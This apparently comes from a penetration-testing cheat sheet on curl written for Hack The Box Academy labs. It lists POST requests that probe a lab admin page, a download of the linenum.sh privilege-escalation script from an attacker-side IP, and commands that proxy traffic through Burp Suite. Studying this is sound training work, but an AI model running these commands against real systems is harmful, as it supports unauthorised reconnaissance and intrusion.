curl

curl http://admin.academy.htb:36035/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded'
curl http://admin.academy.htb:36035/admin/admin.php -X POST -d 'id=73' -H 'Content-Type: application/x-www-form-urlencoded'
  • Attacking web app with ffuf

curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
# -k is to ignore SSL certificate
# It will forward it to burpsuite
curl --proxy http://localhost:8080 http://website.com -k


# It will add data into the website
# It will forward it to burpsuite
curl -X POST --proxy http://localhost:8080 http://website.com -k -d '{name:"cheese cat"}'

Last updated